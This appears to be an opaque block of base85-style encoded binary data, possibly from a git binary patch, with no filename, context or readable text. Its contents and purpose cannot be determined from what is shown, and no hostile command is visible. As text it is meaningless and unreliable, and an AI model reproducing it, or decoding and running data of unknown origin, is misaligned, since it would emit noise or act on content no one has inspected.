zq>{DxZ)Mo6L^0Ow4D|RF1FY@kT!F7GJsImCU`K=2ww2I~4Up2z=W9Hj=jqSEPR41e zWtN&uOBs>UHP?KPae49$Z&XXg5j@p(+0Q?zC2GDlQtnzVTg;~M{@F36ivdg-`>>HVl{tBY545O%ZBL&@&gfXM7_$&Va@pXdi-5ciGJbIQ) zK(LtT=-ei7b+pXk-5&d>CmY6U>Dy0PiF{W?I70)nli^^I9ZnU8w=@tscb+m$sk(8r z@k&IJoQL9er?6-f%%hFZ=_h_7H^_Y$E^XUoRU1V_?24K>CN6b^aWt0|(eU2PG5F}B ztHmV4c25qKw=&jLHM17=$a~)4u`q3fxO{}*tQ4=-?}>oCo}j4m$BS(Yo7`HqOq_F1 zAt`xfW;;{$y9K<@=!nNy+L+^aAz(Z81H3DZqi)P$7?UB{%E|VD?O@)|GjcJ{<{Qr5 zY1|_U+Rd#dJPwLldRC6}nB0+p;`5+Yv`oV==QXr&zY?q+8{Gw5)neHFRXb^_>qZ+y z1;j0rD6#4X6`gz*$K28C@6|ILQ(z!T{#I%JXXHQBtj@q-+dW4t+f9$t$%qyb%1S2* z-J6zYdZXWUl66dXA{|d48*-#Z>@u0f&feF`4as(l{{WgqnA>unMTQzv%PVe57{L>4 zNFAA<9X!)5Y*9sqN3?PsW8y5|GOe(zBNwh?q@;?TiZRAonHt0F%%x*AJ3ohEf%TZ| zxXv=;tQ74#mJWr+*FINS#^M!Iv5tM*LG|W!$GJHR@VYlXTtY)xP<0VR-2x@r`v#j2 z?`h$ukwq?Ki~=`Vqw{3n0bqM9ds1eg!D}Kfrl@=}o)NfQd(~ZL4O2@dSY&MN146@n z6-#B3Bi%mbWk-z7Oz>LmY`p=-Ia_zO$B|xTEo>DH>%l>~*E9z`chNf2hWlkh#&J574_5<1G#cgFUb{Dm9;TWMV{mY4WBR1dz^szoEI)*kO zji%$U+%5Z?pASm|!;j^?oVimf2+`u|OciCHfsxU^+?{2)+Fr=Ehi9pqS?IKwl>uRR zsGz9dvnVzsk;7Gho{`P&h)gaAP*hm=oZ0J_im#L2p&-iZqmmcJ*u^?nj@=j)aGWmYBH-P)t5AMjPDxv?mkJTS50w<-?!_p zn$|OHacOA{EcJ%6oVz|*fOfuTRbN#V4RoeSDa{*;ZFsc=syv0g<~ScD{5XuzxCa3v zd{LWK6^w5HjwhAF6@iW^s2bEfp5hOH@N1)=zFvAFXGqu*&=;?s;-#XrsILlSHrY6l?#hwd2b_sFmhdPlW4H<4qQSr z6Z!#g6&5pzQPnxkqG-!w-r%wn^;JZMl1b=Fu@M)yum3t1%#fehyppeGyLy;{p1%I;em`zm#q0F`HP5cP?h0fcZt{bx8``B3Or&VH87D-QvL?(WNGlibt zXi%nxSdR?BM|_*t7f9mgb1pini7Fjp(URayl{C&RX|Otjzvc7cWjd<}rJg2Dg;fW* z=;)p-;8j*v#B$2g(iN>apABv1qY_0h1PNJUM}b8hbPScEzM0Oaak*=_+rh~zwXOu@ ze3502o?_BRM(z0!wm4)Y0?)3yppq+?`sh0P;(V;S&pNxBRq78`{FK+BGe;EP{>hGO^ox}*h;8h1)w zM**O?>J^-_;gxX6>7sQFNIlZQc-(qhl4`RH#Bh3eDjd*hYFnB&wB~Dt?3-;{LCZeR zqF!4-;0Xr&2)}``?ogY2xqz^}lZ_d*2E|Q|N_jBhJ7Sgz8tkqGnWBG@z<7eOh^1;96H_Ne%cJvB8n6%@^wHbJCQHpC9Ca#pIKN$}@y zytwzGh+}MS=ty%%1EzYnOM`#WLv%uZ10%T(sk(|MQ_9Gtk)XMt+;9o%8mL(zZFCQs z7jSUV%{@U=<(iq#6xATl06p1lX&LvWO+fy|*6m6PQ8Po^C~4u(b@+CRjw+H?ZY_5; z{zp)d8Jrh0Uk+-*u9gU9EqO15`m$Qj_JlC@Qc1juQ07k1T@=yy3+g$jGP+CI#X>eb zI7atppO@ZSm3)nS4Fox-owOm(^Rkmy1QhbJ zXfw+}E~8yqIgc>2-<(B>QXOWO1KK`)iMm;7%uc1mnP^^a*?{jb_;m`tT60f3Soa4u z{m1elT2-<*8@r9hYB@EH#0_nyH2Gmc=u#9j?a>bV__qhBh{#gfYVLzT85KYbI`~OiyVb z?oYC2%4{?~DJG$yknIRZ3{k$&R2|fWUMG*8&=l6;(#|4wl9Oimo`}M}KyzAi+y&Eh z4iC}1kf)M(8tEXEwD2uyu_^iEb06sQ!eFV7M*=KQm`2F6NY}7rb95jrwu()t;@H3@ z*RkZPswZqt#^RyNB$AT%cbrb7>Pkp2%he#^&&}P8TK5eKux!ec zlUwGMZFMz9eI{y`E6Z<_LY$_Uwb>nec&jJT$N{rRZS8J~8|im$&CGIJG!;uvSt87F@;4J%H zrv56zhNaY!iP@pa-HXwEn%WX<=>=N>F&v*^dvHD}ouRC^@%`INvuT$c4U2u;rHobrzO3$kI%gv&Yz&al1xeZTg{oZGI^(9qSD=u~_4C zbSVxabRBZhtVQ#EYdKR48eoF;EL%u1yw{d%M~z(H1Rq&8Gx`J7vNEi32EXDjg`GL z{V>sL3Wq*NM(bs3cmAj%DA5$*Pvnzi#K*kfH6wzLGfr?v0Ch>vn{0tKfEVI~ngntB zqUfg34N=AFga>~T%NzVclr=|m2Luto$r%fzlf@|L6J)5ksJleOUxhwNQWKiqDKUN& z`6G~gp}$pK{g-;K)+Tm@{{VQ|7kjEz^hBQu!pM!$5!D(a!9n^cn<&*fvC6lt_^V0V znm1b96?R*$ez}A^6TB+t{ADgfXe0Kd(rZx9G^xJ>AGHc5=BSKZ0$c^jNuT34xoS;2 zm5iUiUu}OWR53DZzux8j=fd? z07%Y)Z1s214AsEM9Opb+UhXQsO(`_w)aD)uh!8oHb1*iLjO-^b(gjYB43>h5j(Mbq zEmI5Q4Ujm2;s*rOk~5|m{sOY5qALN2X3__3l`TK-w|SKwV|Ta?WjP$7l@ED3T&9Ty z&VMdSg~W6Kb1HF;qf$xA(8i5a>1jm;C=%&WC5UbK1l2nONtNRE;1S0Z_4B>JI#*bi z5HFzSk^pz6nQLitxi=Jg=69NPt#r}@Z8-#@!r~)ls`n4VB=mPw?%ZOGfL(3{5Hz^t zo`Rk7k{T~7@M*_XZ#tf5hatH$ z8y!(7JQxVMPR}bM%-FbfR=CY=6clh!VNuz!i_0+r?|+{~n=UfQ0PAEnv=fLQlB|$1 zuDczI;BL3CuJq)YrEnG|{DPkx9*WD=FtyF#!YoyW6zXgyPfo0iPb6dHqi_Uf>Q#0r ziO-79HDyb)Nh#LDPav$rTbTzxl4QilW5(xo&g*XCPoVKkNmA(~x!|3lrF717o-E7U zlBaCG%vS9cLxn75ut%)ZxOXCNR~|~kXeuZvPsNxkgzSe&YJV8+cJNw^hge^adPGkd zehgi0ZLg0G`(JP>o~pUOfq-{HjKX9+PhN=PfXype6HDIXU>m6=YsSn&fnlzw+6e>| zayR5C$+M5=JD^zN@@=_o)5jZtk=7?pC%9+j+CrnGrF)H|ZQN3E2_a(}6izZte)${+ zf;q7_HX{u$b1<{r%=mdL9iQ2k*Rj==WJO02yWZnrZ)zjtZ96VXZS`@}!*?5VIu1jf z_xLDSMh8=gx$llMx{O{)530f9pRdFrrDN!D%Q>7MHMM`2K(4Xvv5lB{!8U3p!9#0L zHM{el6VYcVaLKD!Ur8L2xM<=>bbC=4_Y9evk0e;8k-b<=@4y?|zdqcDYE~aj6R#z7 zo2UT0t?N8^CD%sx%I3pP`dAIJFpXR~tNJQjCudk^#oo%={G)LN?#3Rj^60B^ZKa9>zy@$%)3@R_Sf`cAdbL4q7TY8eG+~=csV* zLmAW_q^h{#mZaJk+~7F@!C&E9DJ@G|TZ~9(XbIL?2YKEN9Lk@LWAxNi?!vZqlhEkL z;U<;8Eh*!2c@G6;(PKEDkl;T3Q^qDZVv@`QaLk_G9rolFMbU0aYsY)1MAMyqKIG&~ zlA=(^nqKD>E772$bG;|!ryLs7pz}~Ul2t2p*km@&+7kG%%}04~*5Xx|ODtaA;yizJsd zp0DXrrjnx&oVnShmB-B)qKcYZSH9$b2E%`OQgmQ^IxQFl$%t9MnEm=)Lu)0Oj&oW_ z99?Y!4ULiaq|~W$Vlw(Ur-S6+C)H@w`IQvYyE8Y(b{(zHMI0k?Qcj7dsBs>DwI0N~iLy+SeRbKg= z*=pyI-OnRLHvn`uJieu5q6V`OekXFs4$^Jqmo*T}93#7`TrH}cI$COZBxHKI;io9` zD%K1u2*Ksev{etPm4{kb4?cvc64f6JCmSpWcTUjR(xiH?tGa^;sRy$21kal7r5}^Nm?j&E%63Pk5@xR#|+M4cY5Ak zRg*TS0@;SOn=yt(Syly|S6IOzzvhF%Y{c+?cx~I6@C$zK=H*cE%Wfv_@E5mzmOSD0 zo5I=RbOdn{3lygaDF&|IJx{Hv#`dzhN}8D;B$8_R9iXye3Oqj#oBoh-t9S?G;ye$U z+i^y2!C}PwmNuBXtifg<#O#NM`>2g=RdGA0oMUesqd*hzF|>mB0qT1(+UL{BNrths zwDM@-8+CB;DkCuVvB1|()&s7FtZsE<-;(7T}?L&%=C2cy4|t;qzE1VDvkNwUH2gXK@IhJ7sVWbLyNB20 z9NN0ZPERr4H}c@Fu>G#Vc7C0Q48rNEE7(uV&cP}Ar@B4LZh$Zl_W{cH@);`^Q5c(P zrE5UlaD0YGz^WI?iPEv4Q@an1!s5}`k<=2Q)W{$-ssqSiO z2xqFyDWjHbqUR$?04Cfdgm;+OkLMj$*JoL^+fsfi*!(!tMLTjiw6NPS{O1i+Y-_W+ z?U%)7q1rb$(&4uCq4%-#LTn}G(dW$N`rE;3Dk&v!Y&Ry?x$28?0NvK-V6pF+^9woh zO>Hf}D+*jTzG!!lQpngrv3QS9deBovhf@}|I84vKF>(49t+>7^Ux!IZ&qkob*xbfB zo+D`>aShVtI?bPa-s|=Q>-wu`_B(HiSuq{EUf~;k|qiOqAep+_r zE*-~x1AD2o`$1by+>VvyoGp8)Y_FrOBhp2W1Ic&23{E{s4fqx1ucW4N#ZN1*!T3*b zBE!j1M`kz|=E^!LRMiaLoYI)t#1akv07ANpXO1O1VZv=Q-@&&Dij9-Ssap5Thg7wU zHgkk7AbUVVk~tzhY?Nf#^*DM^90w7n`>P5Ks;i@Eh6?!wI2H_kXE)rZ$+a|9&p#Sc zHRmmaj0+jLb4dlZa&x@Xl<`xFN5_@bg)Yz!`QucmVfZ^s3kyfr{1hL5I-ZzeY znB8<8QYWILful6-oYd%w)Q}0t?-VYF7EL!leTkUj%D~^XGGGoF zm~YT4948*cuot#mCc1h_THsDc5FKtBD>^RE_Kvd&elLY#lh_G(+H6CGh)@ucNDjh&9VP_E)l^6cY+=9~0k0ICdt))(mZ;q0SZ!4c!LTyM zKt4x;Da9Y|WN19H2fE9k_v)9zBCLtBH*p{WI~>~-n*1t!It}Ak+J+HvEN0=VoZ?Sw ztQ_HPrAdnrtAZy)Byfq|vquFUNZTQ~7I%uRnkL5Uw3~1vMNcIK8_pLHNjme%X~)m=OVjd&+6w^62=NFHth9IUEh+C3A@ZcsZV@KcAi z_XqFqC4W3HwVA2r?+yi^+@!x~@c|L1sGQWpdxG(=y;8-Aw}YgXz)`>q$mId%7up6|3MwRG``ow$%r&LO~A1Y)?cOg>3i z#=aQ?fYW)g+(FLVvk4RK+cBFDE`rA4gx<%^P5qEdQ2~P!jkRD7Ifo}t`TS#Dn- zm0)%7SSb#8N~>(L#7+ZXbsM}iR`KIaY$7_CMC@SsDO=rt0Pv{kaiPQhY) z!jti2Ar$<{qH>626;Od-AEViRhnl5*JDl9vU2miX!c@`J!5n6xrO=Vwb?!atu1Cn%3*?*=OyDn` zAD_#&$y|J48{x}2-^Ia?0@5?@N9lCVqA*m#BrOMXJX$%u0qPYIb8Z|iFTke;c))X- z;5j9ybB*9I;fE}wak0SC8px~r*T@k+N!rd76jBg)-Dz<@k}-C zXx8K=A!8*Mc+ZkukCzBD3@#emOZj=`rq)!tqOeuM*x)1!v7@^0XNqEZ9VJ%&1~Q)F z#f{aaMSS2LE|O|RwMTq(H*y z8y`sf=84*XI*%0;)V9_kB-BRhHcOWHB;|^nHtjiu4wIu7Y18lTat@TnAGtZHo^O|; zakbJKLq_5yr!Kn#hO9mcGaC3BWn(v#4>cvF^^!SK<l zmGed|y#mF+aJt&;mJaQ*aCI=Hib#NLjdR0Gi22qloy_qe8BP4rQqMgc+393_GV&nW z>Z+n@x?uA`D2?YUk%)81u6Jxu%UuJR3-G&fBL4tI>Wm+=tRg6y{89$a{uvu61N0Sb zKE>?hOdgMd#P^eXnZUQU>&oA<>}8E;ZXr8JCOB|-qAoYi+K_GfS3kykFsi%F6Jl$6I%fUrnEuOg zl0WSkzOq5uoK@n|*Gfn7lW~t~V-_`RBbz__D>^-ew&*?zkVia6)T=r6X1fTh%`Wc1 z>t}+xmMez*b+hro9fXgILUkH0BTW0{{S+&A7|TE`heUjvO$>2#}{=7L9hIiqwh0piBj9w_Q05*EA+ zqyP_!b@Mi+ChrL{vdssZ3gObwc@F zV{nd7SE>X0!s&N7xZ)~1-fi8{Jsn68Hq6v<@klXT0uy<1#^8oa<2NZ9h6eyj5!AR! zYyi#Ba9XSz0FMxr(bVEF(a0EF(I6)_m$r)?n=6{(rn)Pb@p{PWV5p8_*`gL>tTYz# zQ-)a^aMG(PqNu}acLwFJJ=)z)!*KYkYN}wKvKmtqZg_N;v&iH;N`n(j-lm>vEmY5* zb1aU{BaO-6q*GT0K0wD(;AgnOFI^iDmy$T!l^e7N7stzIA9!f>eTP~Y$2`-(s zL>wH_a{*-B*2}?0liUc0*GUbU~osg zzh810((|O={A`R1l<`f#c%<(FC(0Y4*Gs81@U~|V_he||ReY_poEmr(31o9nJ>kY) zkA|vUJzP+~JK$|YKsRHw1w^HNHfc>;9!67>FDG(BFyj=K;bk9vmLkLIokFLqA=q8N zdI4i*k=TuoB-G9hXaHCOp2ObA>mhWp?^qrQW$l=BO-R5P)5hskha~JHO;UgtOfSCQ zB{>^**za13>|%<1Xw6TC?qF~LL}a-d4r*mCKL#04B#wsBy``^Vey08_HU4mI`l&VJ z)B#^~E%#}!pf>bL9hFY#NH?&{Qm$acC>b**sKbnqH&V^zt}WGAVS7V`!;42zE*$vq z{H|-`YqJmtJT9}&1W~*BDTrG0NhN_O^3t`^hGt1&TAyUoyQ)der+ND8%`;NgRpJwh z78XS54o0}@8+|>tQgG?vq@GsQQ#PTdGQbJ-PtqPLHW<_CjO0&(dZCVrSLSJHz4hp* zu#Sv7ns`Rs0y1*bo>t$gxWKCEW3G*^rQb2YwaqOYIr~-iAsr1IGPatWMkOF!qg!;* zWGN;z%`afIhV~(L4#ayB#(QI^tKHQ{MMn*-G{k`C9z)zyP`Vbdj5l{3!7ipQ`c96egx!?m}X3H+52^jIz?oa|Vq8;qG3!gWzjf zD_$bnY(4B@?-sh?A9C}LZM!QMX8S-eNU>^6RzVnZ-AwC-9Y#~`RfY&-jJQhI5x8IG z0_Jc==-t)^+S~nt=d((~J7sf2i-Gx#J;IeE7ZfokBS z@PKYpwG~EEPGhenX@JnvSJX!yBT#85!>=s4Ny-O7%~aCU8C`eSFmWnXOy%*2;O@fR zE!8kFkauNdDNK(Aj5Z`|!=KS>G5xiK(YFQJNS%k^@sE`wN7T3rW_ju0vTy?O;L)ko zM~X7@X8TH)3kA2sF`N@)@b=9`3vo<# zW?W4peomP91H_KLD<5BpRbsVLRaeaU=a7C}Tk%Q4@k7=l z^(&gqsua||gMvmQXg`DlhmieiF8Q4+h`BfSm7<4as-wW4ieeMPLjn90QaaL0=~I6?yl(}0oBXFpbc7GNM6WGIHpyii!)E^sO%K%!z zt`lzTR=DoZg_fHd+Xqi4$h&_d1(@P397B+6e_F`RJL)BTlRUmh8@Q6CVc1P(Gcbb> zh0>eqZDx-$jIR-{a&~aM5g_@TxBv>HOZY{+=%6VoWv=XL4O&dXcyt*ku zxu%*}qG(}g?vc%D#{j*qh$G77R5}w8u@*fPx@1vm2}k8F5y$R8h%!Cds4MaL}xWW}7#MRN~Y` z(~0xDQy{(MFki%a>C1?(SxE}EU9Y+M)+9okIt{GpJei^QrwJ?e4`UYVPCgV&---nI) zmE$_89_Khc48kUa+ zt*68zW`*>`xq$c*0(#NOdpuZn{Q~Fao%2X~yym*xhP9e z=W(zcf`ug4Cf}hWESR)aGfGZZx|6@%f>=`yd*wV*Lw-!=zZ8c}VP=gICpBDLP3*6z zA;GC>*;9#2B}~NFQ^wm{%%iT_`nluWVT@)UO_wfMg`7u=xRsp^bMPgn>(tLKFjyAImrx6e> zoa#!?XPR@Tb*e;E?ROyv1@0MKd3urf!z+8Z^b2_grr7|(6fCj-b7}&uw6={w9Ur8}$8CmH}zJlLsqb_MV zopa!nmE9gra3_+hnnp3!vA_3-Ht-}VY^fv>2+Poc#T#K4FRPHao&xGKXMd|03>{Ok zHKNX$#ohq`Iqx`!=$0>Zhd(_O*s&K=n^81GZEV15pN^igx8)`;E#~K&0qrS>YTFb4 z0CB>`JLyTPa!Te%@^Lw2sj<%X9X#3>U>p+HW z)D85BMwX0b`xTd?V)H`h)HqSX&&NM4yn>5QwRJRXEWzN0fDvrrw{ae2SC`FSHuAbj zXK^}`R^5g$03_dsRDDl^w2o+7)s5xX+&ZoAChk4~CC_V|OWf(m>A@|msBz02TeW*Y zB8Cmv42B|m#oD=8MO{HiKXK9;m-2kQd;-v;zwsZ3*TXV=lkjZFoCBXQZS}Uj+LPp~ zu+5aKuMK?r#>P#9t)kXpdo@8zP{vCfaz6F}&df>jR~tQr?OxVCnvRm1XG5CoV8-3!qU$}5>@_yZ?9Du_r;pR>Tb@}gJEM>u_2u7$3^9(=F{3ry@h*Y9ICNgM!eH8J zd@+>xEnW{+A#h=EbDYpQ+}U~4X*M3WX!}aWsB!F4ii)*_%PmZgv~~n{MxH5Z20nV( zrA&GbyZx?4(gnSWDG-gRsdTsCBd2|V@~0%fuwrQASeI&xDW?=$hnV<+2FR_LQin<(5>BW*-~TCvACugN@Zvb5=6ln zK6bLFmj|J#0o1ZODGA`?a2HtmXBJ{%1$o5ukheG`4jqIa1M(`83aW}%we+&SHw{5+ ztXD_b4%@b)Wf=IOo*K$&8DOuV5seeO#|3LJwi#=ec17F zz@?+8mLX=lBjMqq>p0%p?4H<}Dl2w+EE=@LY-oF|G7>c{H?Xz%EVt}>g1SpkSFjsg z2{iuz?~2MXuW16rT|2#dbUZnyA#_Y=X>MJ=RbtJf8=4tBEq^@P?+|`POT_R>iV0+7 znPd#my@u`8Rl73|qlXnRSIXu&kCE9;v?r$olJfrmT!*HNF+Vt;p97ca=8~77bFUB} zcORkhQAD8V@POB4Ng zgUOBFZQ!;TUuhT)IkYUU?HdDSZ8Ml#D5GeIla|5Wchz#(-dq58=}R=^>H$OOt_f(= zSe^bV!V1cW8beLN7C8f#hFz9&HFk7}^SIA&#JLRVM|dfY~fhYeKE?{KQ7M?9P@oTd1A#5tEwr6QEa`O?{_S8%+&|`f_g{gnm5Ph62y&>qdz`rmXUjCQhjLMZ3!?y_X#F~295S*g2=3=L1gL~05<$}F_=n;OO)YDIaJcaER=Ay3BSZ}zB^Z(`47tV6 zu&RyABsYZH^Ga~ywGNAOJcaR&4St|`CbF@_782KVRIe?2vN!G3YFD;GEJ*`QS&`qp zFDYr%Svb?x0OB-$z9~Qhz^iz)Lk$N+ro8dGdMC!|8YZ}H^&v*fWVV(UjpgmkgnL^> zon~gNg%r_Ap9`0N;N4HOB}rLTQ%Gfsk+8NWT0+60J}pnt;5dYk`gRE`YBB=i*rXfA z+nH|_SuP<_EkmWLacqL^d1ad8<~gd3p(IWKe!qFB#a~5J8=}Q>4r40=xaXTq`;OwI zQcG17o|8)(eIHHdcQkFkP?u2opq$MNQMv~^ya3G!_HtFUHS*ES3==vW&H==5BgAu4 zYUZlK>P)cB88fqacpTR>wEZTH2a>0J&2t*Zl5OSKr42;_Zu3Js%-5mhkjlF3D-L9JH0_#(q+Pk&aqK*bhTKAJ+>C6F40+X`HvUN2 zh)oXr_Ob7~21C;ND;j$3E;wiS&q#e!%q;WRa3XR`ZpH>JIv-iiUrPNaptQeU~9-)m6#o+zV{=`ad3vJ zL@f?ywJ&x$Cz(!5K?^Y5LvXm^s$tDH;H>v;=!nAA2ho>rQFLUgz|u{*sgKPg84Tb? z;j3gLkF^OSuqh6zbwq56rNzvQS%;YLRkK5bB8Olva-d0=Jly+I4b+(;Csfm;E#tu= zVsOzXBxcF5;)cG&d38sX1hK&-fP-R6TX^uNgInC9dJR_F>4)oBRzU8o9eXC zSnN&6g{5}#zLE7!X7#N6DgA1mGn9}y zpx`7LXqOAt{NuhX$(*;yGaO6$dVCp8Yr)M1;I^j7l=cx+G)L)=a)}b3!nI>$LUU{Wglw3* zmkCEZhGjPyocR>PIKIQIi!4Az)$X${Zg8Stbjjt zao&b10kw(nKSW@(k6a*J(et%V3_dac0E%zbDpfWQ1ojf*5yO5rVNV*?0sIeDkEsn8 zB={eqDmoc!Y3ih>b8Sx0_k!zb;Gx_9Qs-3A+dq*b#k0AZwPRsZRy{J;@ zG=6A5@Dcf;Pxxs3(tq1GyX3b0d=;dcViEZ#>-|<;N0a{1i^)BRp6p?Cm;V5VsQ&;L z(H*1rPwi4C#kuA*${z`WWf=Ou}V+6IDxQ+oiE6ZnT2HirXGcgRc z!hIAhH%veq=m|=wd#0Vm?k2~HJd&`O%-EY_Z+kO{0CP`QQ;J+c)b4P3Y42N+=(%hD z=G@ZlZb8=3Ov3QtR7>As9CjoVV&Q%PcFYTIu^pYIf-Ro?#RN?St&U8l{dD%OH4M2x z;cEb&mk@JXY{ut6E}o*UZ4*f?%=Uc2U4F*eU$bL<+j8#D48h5E&+)g8)gy&5EahVH3=2Urh|=QvF)zG+$mk*P1qdQywW#D7iVp=v}XNg-a$L z+DN7o;!c7n?-|lIwV+s@WkQ!~Rywz&k@kc!_ZbVg*f)0U*LhF2q+<+{kjU8ATmS|q zWrucZ4l&zK(ctvcQBv1U4)9!-%nt~XnWO^8)XSzRONnnFvQ^KwsHsB_NhhwmkE zcbQCP&PXP}0;{TO<*JhJb;j?pY}cCY9jQ^YBrcKH8-`yXFWR0prGSWT*$MTBA>f%~ zK<~WYsZBAX)^SOaT-pu^OO;MsPN~<-9m9u2h?rz`&W%Zph5DTumgz|$to1^e;84lB zolJi0HQia&5IYTZ~(^04?HB7b4tA;E0mrX6Tjb3*PSPqC;*&by6bQD;coEhVI>n zSQoc2ji%<_Jrh}~aU$4bA+faBHuh-qP{Z9LvrOXS;&n=N?zM)4pipB-ZmS>Ln++fi-WV;#m?h@1uB+~DBkI@i5-@}GJ5nESL=>=$?)pZgo-X4ajZ8 zbW*7EO#HIHD@vagH8gH^XO~|=WdWc!#HU*8_$Y=O;&Dz#g@hMou4r)sK>XCLXn52( zw)R>Ww!<5g2TO=ck-A$s)npkPvWp!GlN;F+o2}h+(`J3F4T9(>_LQt}YffA=3#jaV z(#utk(nnPH1~uTl(zv;{@?M4Q<7nyP?B)T5J$sceE#rh^i-&&SRaHSGBUq zbNpLr@mx^9)9dGSXH2`pZ*tE`RMDd~DVM$SIG3I$RE-~wvyIJB z&H5DTT(J!yk2etK8`(@T*Vf61<1aQQ$~8SLO;hs289qD}v={_T%If;C(tm@DW^zO7 znq7IMF8tPvs%$vaw9LLA40QI;zb<3%H?nP!L`ErJe%tyFs<)?(iW7N_{`d=dxk-m- z9XoT_8?$i9ij5;z>b048bQO2SNl zyT0FkDd?(cqsl1mdE`5Qu<<2X!wgR@I%VWsbqdyn&5i98kcx?T`nm;0P6G&bOvH6M zDec52jn`zE9m34+>FigK)zC!Tm~YGKu4yU*2yx4>T=!ouRnzc|rp72*z-!$=4TYHO zqz__{cFwxKtVLCd)zysm%ITeB`d2-{<9$U#T=x=BQm!zXC@5=Xsji)k1;)k4fVw;t zW})D*g4fjjh3J&;#v^_KW2rW{7S{aNzxzI}E!jLY$4?DAT@cF1hMr`dNnR}N(-^75 zcIOw6OC(NpLz|&3xE)tu9|~QQ*(?f%hYhBm6q*=7cJH{*;o?T2d0T6C;O#chVi=#J zyt=AWAYpyOF1boF+G*!}nPSLzpQ7^WBHB8dnI-DuxEbecSKV@8Lqm~dI z<`*+jMJ+hRa7PxnAD#S^nmm1xNZ(F`OwM7Z#dHh`ErrLh*9y#9s|3W`a?vz-p>X;) z7a*=rJuHl{drJu9QO45H0lEy84w~(8?^|VKuo&cPT;5|p5t`{0+YL~{B%rRK#G|os zbv(h=95o9+iQrYZYs)JsWQoJ5xKxz&bHXhgk7py5)>e`2E+Yx=)H+*_pWZ}oL~Y3eD9at{XrZlqzm0PK3Ics6Sppr|coXxTKukC6Qk4-??906Cx* zyD(0}S0oY##^*-%n};-(kXFQi-OV;9%h6dfvOE}Mj1$K&M}|kdE$t2+HqB!$gKM^3 z_>?rxduk$#*oy;wM@}kMF@fv`HBR~VV-=~wYi`geaR!UHldYUCEId|9k8ClDN4iL> zp7%Tu{qKCZ9S)@xPCH9qbBSTGx#VdiXDJ7&F=(lCNq%{2q5JVxhH42I4l5CCp4`8g znfH-(X^nPeiea)u${DF~edJ;Gqm)QR`4BnyEW_i(FeaHd9irkmq-}#8r=`S;Brh{MFdpOLR^LkK+#3D=0DYG4OVm+N z%F&474jO_U-}Lo|VGBQ5v@XPBXsm)T;rt|G#ZgYzmu8Lmf%mJr+Ke)>`J$$M86f5X z*@e}7w9&8!LnwX6m69`TdRR@}7{kS;-Ul$K*-B_*F;Yki2J4%DE3*o)RX#hmL1WcV zW;4Exk<`T%L~R@hv%TRHDcJCLt-ZOZbI<{+4pY%mPeRyTdRLyu4E|vGA;VcTPAqmu z$oCZMrUAsmnXM<)cBnROLxtGxp+Rt(9VBhXf^m|EjSi?0O8A{;ixkgHN#L$y#wxda zs)HR|NAb371fgs9hKe|sFA}8E)WRl@(pX;>VVnbEM>NQhq-uy>08?n#=Dm-gs4>)E zhHR(anSL8vB~gxe+{%eA?)kQ5XH!pv;#F=KEYG6{)Q)q1{-quCn1f_=6;%U#&rz>8 z1a%JNkgjV(TIUZ>yQZ5>42*2fk27q+9kx5c<;Lo^EHY}R$jDd>&Em`1$H*pRq^YNs z(MO*-7JF=Obtk~bT|*IDOIPT-Vq=T+7@)RhJ9XL-$$!LMisk>;q) zDUr8l-(mx3%zy^4-07hNa^G=m$6;B|MwQHw#xgfV2M!0^o{I~rniow@&HEVJyvM0% z@e0=yplsKkim1+7(q6}C_MV5Tgv>s+mW$Hps&#N8SlaBaXz>S%4@Ou>c<@scp^^~h zk^sI$cq zbwwo2o|(tLyZvoCg_O1UT4^g)ydFlLQ>cdLtvZW;+fbri)8tB-n$hOU9@BxTR$^BcO_=R>1b@dWV1K!T75>hXB5jZ7{Qdfjwd<(t>tqr~f{s)m|6MoRMG6nq-1 z-q0HF0+j&nn}m3Sn&3fDj)EBKI#4sUwK{m&I~=(l#}FI?uVc@_U%zVNHKL*{8i}n9 zYj=5W-3711n$MA7Y>{DNNJf+w=H)t?7-z9~y}6OEVG7q7+9Qh2=^IB+N0#e!y|@J{koCyKSGJ;JJp)l}^h*9%gA5U1QfbH;@~ z;hE-xuepsJABJz5SNm4?e3sp>g0hoJ_|JlK5k1(`4>zxmz$bANV8zg0)bsxUi|CqX z@ZH*_O7Gk!`6%$|-xUn4W1W@a&I6imLwZAg8ByWHww=yyhQ%JEIotjMqcezaSBJ?b z2PL)H!7X*ox~E=UEnJexV(anhqhZJQW@D|cQ?7nez|O=h@%5nAGrVm_i|S7G19p38Rw=++MGaPFz0Et zK^@z2Svr~Is+h|&%be{=B_^t>O4*CvPQRft_km`FC%DOGjRJ)AFPxj4k%l)CuG?rXj>g@=Oa(Hu(%4$R&qRnPAj%P6+cAZBKwo+Hp}@_R~aoXFcLP z0&a6kACnJb+yK4zos%(Ul*kGrY9GZ-0Io!k5do#@#Caj?3P9Wz0>HzSfZPXsxH z?=OGNV?OmVnhMF<9NKNfL|n@$$~^TzE|i-wwpRHb^jKR}(sX$f z$b)Xvr=Ci_StOK_^a~Wd##6VwJ$l_?R1*-_L@Pd2q`v z+?1J1Ji`zc97(Y8KP#$Y_qf<-5Ck)ic|O>rsD4^_@-wW4)=HKdT6VZeIjEZ2HYS?_ ztIUqn6fps|Bc~nR-|V89T<=#vkX{E9bHJ%om~{27(6SbNC%VdPR5(=|iNtE%JDb8N zT6OlQv9FUo+)hDCI(N&SKyfC+@31PHmmLzfU>m(kud1h-d*SrniwGJ5>yn|k-0P`F zdj=b7gz(llfN#ubjK1T#ED#n4Qc7vg4dRWrdw>SOrAvblOOx$=^cDe5q7Ra0?$})C z0sw1nqf*nC8@Y~fy|2k_woZCHKNcpf(Z?HM8E)I_ZBtZ?_o-VMHV1lpXHmzrDg-h= z06L!D{!1S$5=9}7R+dQLS*{i#DUjP&D_nkPsxdl=>7^109!;{^!B&7cy63?jXvA+V zzKNQMqk?BKrr;cpE!rawYjkM2OJik}fY5vZ7fwdzH%-`2He(*3uMI&0*)yNzy3Cb39Vg;XrXf8a+x=X63mD-Xncr`W~Oc*g{ ze)pWb0Zg`N7zPGh+#8X9T)c|XHiCt&-q+Q|OwYwd-g303$M$y)j!3Y~7t^X7&>K@+ z@B06NyG6$+;tf1)bLWum z3gk@;u95W<5p(!BTc^K*Tp}6V(8Coo0oF;R)T(#BX91qkw0Kzt)UpPU171%uF1E^n z3&Gc!A7{xPI@b$ygST-%G2LaVf_g|~45gl;x?iJCEZ=#uRcs!WyA|~mxKv}k-jh6p zc!08}5|?-#aKmd^z0qXUlfGW_qc^{tpmkfw#Af^Sz-8gYn5!Sh`HwIJ5 zpr5cOq^qnf$|GzIBL1dR`cjRkZg&}QA9wRZWqm7Kn{GG(mn_D9E>|N6rVTkMByb+A 